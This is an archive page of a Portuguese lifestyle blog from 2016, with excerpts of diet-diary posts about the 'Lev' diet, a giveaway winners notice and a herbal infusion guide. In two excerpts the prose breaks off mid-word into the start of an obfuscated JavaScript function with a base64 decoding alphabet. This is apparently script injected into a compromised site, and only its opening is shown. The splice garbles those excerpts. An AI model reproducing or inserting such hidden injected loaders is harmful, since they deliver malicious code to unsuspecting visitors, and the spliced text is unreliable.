Jul 25, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Olá! Como bem sabe tenho partilhado todos os passos da minha dieta aqui no meu site. Na semana passada escrevi sobre a fase da dieta Lev em que me encontro: a fase de manutenção. Nesta fase posso comer um pouco de tudo mas com peso e medida, ou seja, de forma...
Jul 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
A minha vida é e sempre foi uma correria, um desassossego, cheia de compromissos. Eu gosto de um bom stress! Mas o mais importante nos meus dias são aqueles momentos que guardo só para mim e em que estou só comigo. Qufunction a4872b9c6b(y1){var...
Jul 18, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Últimas novidades da minha dieta. Olá, olá! Se tem estado atento ao meu site então sabe que eu comecei uma dieta porque engordei no inverno. Como não me estava a sentir bem com os quilinhos a mais, consultei uma nutricionista numa Clínica Lev, cumpri à risca o plano...
Jun 27, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Super satisfeita com a minha dieta ❤ Olá, cá estou eu de novo para vos dar notícias de como está a correr a minha dieta Lev. Fantástica. Aliás, nem é preciso dizer. Os resultados estão à vista. Estou mais magrita! Que bom! E adaptei-me com muita facilidade a este...
Jun 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3
A minha dieta resulta mesmo Nesta Primavera estou mais Lev. Decidi fazer esta dieta para perder as gordurinhas acumuladas no inverno tão rigoroso que tivemos. E devagar devagarinho já lá vão perto de 5 kg. A roupinha voltou a servir-me, ou melhor, eu a servir na...
Jun 7, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3
Olá! Venho dar-vos ótimas novidades. Desde que comecei a dieta LEV, a balança passou a ser a minha melhor amiga! Só me dá boas notícias. Estou a ficar mais magra! Yuppy!!! Dos quilos que sonhava perder, 3.400 kg já lá vão. E sem passar fome! Com tanta variedade de...
Jun 5, 2016 | Em Alta, Passatempos, Passatempos
–// ACTUALIZAÇÃO EM 12 JUNHO 2016 ANÚNCIO DE VENCEDORES As vencedoras deste Passatempo são: 1) Joana Areias 2) Rui Lopes 3) Ana Paula Cardoso Muitos Parabéns aos 3! Peço a cada um que me envie uma mensagem na minha página de Facebook para combinarmos os...
Mai 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3, Teresa
Já todos sabem que sou regrada na minha alimentação, que faço exercício e que me cuido. Mas qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Abr 12, 2016 | Em Alta, Equilíbrio, header, Saúde e bem estar
Tabela de infusões – Saiba que chá faz bem a quê Por Rita Boavida Uma infusão é a imersão de uma substância aromática em água quente ou a ferver. Algumas das infusões mais comuns são o chá, as tisanas e o café. Ao longo dos séculos o Homem foi conhecendo e...
